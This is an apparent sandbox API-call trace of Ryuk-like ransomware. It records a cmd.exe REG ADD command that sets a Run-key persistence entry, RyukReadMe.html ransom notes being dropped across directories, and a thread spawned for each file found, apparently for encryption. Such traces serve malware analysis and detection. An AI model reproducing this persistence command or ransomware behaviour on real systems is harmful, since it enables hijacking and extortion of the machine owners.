	[0243.987] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x66d0000
	[0243.987] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x66e0000
	[0243.987] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x67e0000
	[0243.988] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x67f0000
	[0243.988] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x68f0000
	[0243.988] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6900000
	[0243.989] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6a00000
	[0243.989] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6a10000
	[0243.989] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6b10000
	[0243.989] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6b20000
	[0243.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6c20000
	[0243.990] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6c30000
	[0243.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6d30000
	[0243.991] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6d40000
	[0243.991] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6e40000
	[0243.991] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6e50000
	[0243.992] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6f50000
	[0243.992] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6f60000
	[0243.992] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7060000
	[0243.993] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7070000
	[0243.993] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7170000
	[0243.993] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7180000
	[0243.994] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7280000
	[0243.994] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7290000
	[0243.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7390000
	[0243.995] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x73a0000
	[0243.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x74a0000
	[0243.996] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x74b0000
	[0243.996] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x75b0000
	[0243.996] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x75c0000
	[0243.997] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x76c0000
	[0243.997] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x76d0000
	[0243.998] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x77d0000
	[0243.998] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x77e0000
	[0243.998] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x78e0000
	[0243.999] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x78f0000
	[0243.999] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x79f0000
	[0243.999] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7a00000
	[0244.000] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7b00000
	[0244.000] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7b10000
	[0244.000] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7c10000
	[0244.000] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7c20000
	[0244.001] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7d20000
	[0244.001] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7d30000
	[0244.001] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7e30000
	[0244.002] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7e40000
	[0244.002] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7f40000
	[0244.002] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7f50000
	[0244.003] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8050000
	[0244.003] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8060000
	[0244.003] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8160000
	[0244.004] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8170000
	[0244.004] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8270000
	[0244.005] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8280000
	[0244.005] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8380000
	[0244.005] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8390000
	[0244.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8490000
	[0244.006] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x84a0000
	[0244.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x85a0000
	[0244.007] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x85b0000
	[0244.007] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0244.007] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x86c0000
	[0244.008] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87c0000
	[0244.008] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x87d0000
	[0244.008] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x88d0000
	[0244.009] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x88e0000
	[0244.009] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x89e0000
	[0244.142] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x89f0000
	[0244.142] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8af0000
	[0244.142] GetWindowsDirectoryW (in: lpBuffer=0x193630, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0244.143] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1933e0, nSize=0x104 | out: lpFilename="C:\\users\\Public\\uZkoH.exe" (normalized: "c:\\users\\public\\uzkoh.exe")) returned 0x19
	[0244.143] GetBinaryTypeW (in: lpApplicationName="C:\\users\\Public\\uZkoH.exe", lpBinaryType=0x193600 | out: lpBinaryType=0x193600) returned 1
	[0244.144] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x193800, nSize=0x140 | out: lpFilename="C:\\users\\Public\\uZkoH.exe" (normalized: "c:\\users\\public\\uzkoh.exe")) returned 0x19
	[0244.144] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Windows\\System32\\cmd.exe", lpParameters="/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\users\\Public\\uZkoH.exe\" /f /reg:64", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0244.613] GetTempPathW (in: nBufferLength=0x1388, lpBuffer=0x13f5a9c80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25
	[0244.613] SetLastError (dwErrCode=0x0) 
	[0244.613] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\RyukReadMe.html" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294
	[0244.614] GetLastError () returned 0xb7
	[0244.614] CloseHandle (hObject=0x294) returned 1
	[0244.614] GetLogicalDrives () returned 0x4
	[0244.614] GetDriveTypeW (lpRootPathName="C:") returned 0x3
	[0244.614] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x193920 | out: lpFindFileData=0x193920*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x70d3eb40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x70d3eb40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x3ef490
	[0244.614] SetLastError (dwErrCode=0x0) 
	[0244.614] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.615] GetLastError () returned 0x20
	[0244.615] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193868, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x193868, lpOverlapped=0x0) returned 0
	[0244.615] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.615] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x70d3eb40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x70d3eb40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef0d0
	[0244.616] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x70d3eb40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x70d3eb40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.616] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d3eb40, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x70d3eb40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7143cbe0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x24, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0244.616] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0244.616] SetLastError (dwErrCode=0x0) 
	[0244.616] CreateFileW (lpFileName="C:\\$Recycle.Bin\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac
	[0244.616] GetLastError () returned 0xb7
	[0244.616] CloseHandle (hObject=0x3ac) returned 1
	[0244.616] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.616] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.616] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x3e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0244.617] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409b5080, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x3e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0244.617] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409b5080, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x3e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0244.617] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.617] SetLastError (dwErrCode=0x0) 
	[0244.617] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac
	[0244.617] GetLastError () returned 0xb7
	[0244.617] CloseHandle (hObject=0x3ac) returned 1
	[0244.617] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0244.617] FindClose (in: hFindFile=0x3ef0d0 | out: hFindFile=0x3ef0d0) returned 1
	[0244.618] SetLastError (dwErrCode=0x0) 
	[0244.618] CreateFileW (lpFileName="C:\\$Recycle.Bin\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290
	[0244.618] GetLastError () returned 0xb7
	[0244.618] CloseHandle (hObject=0x290) returned 1
	[0244.618] FindNextFileW (in: hFindFile=0x3ef490, lpFindFileData=0x193920 | out: lpFindFileData=0x193920*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0244.618] SetLastError (dwErrCode=0x0) 
	[0244.618] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.618] GetLastError () returned 0x20
	[0244.619] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193868, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x193868, lpOverlapped=0x0) returned 0
	[0244.619] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.619] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef0d0
	[0244.619] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.619] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0244.619] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0244.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0244.621] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.622] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0244.622] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0244.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0244.624] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.625] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0244.625] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0244.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278
	[0244.627] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.627] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0244.627] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0244.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c
	[0244.826] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.827] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x24, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0244.827] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0244.827] SetLastError (dwErrCode=0x0) 
	[0244.827] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.828] GetLastError () returned 0x0
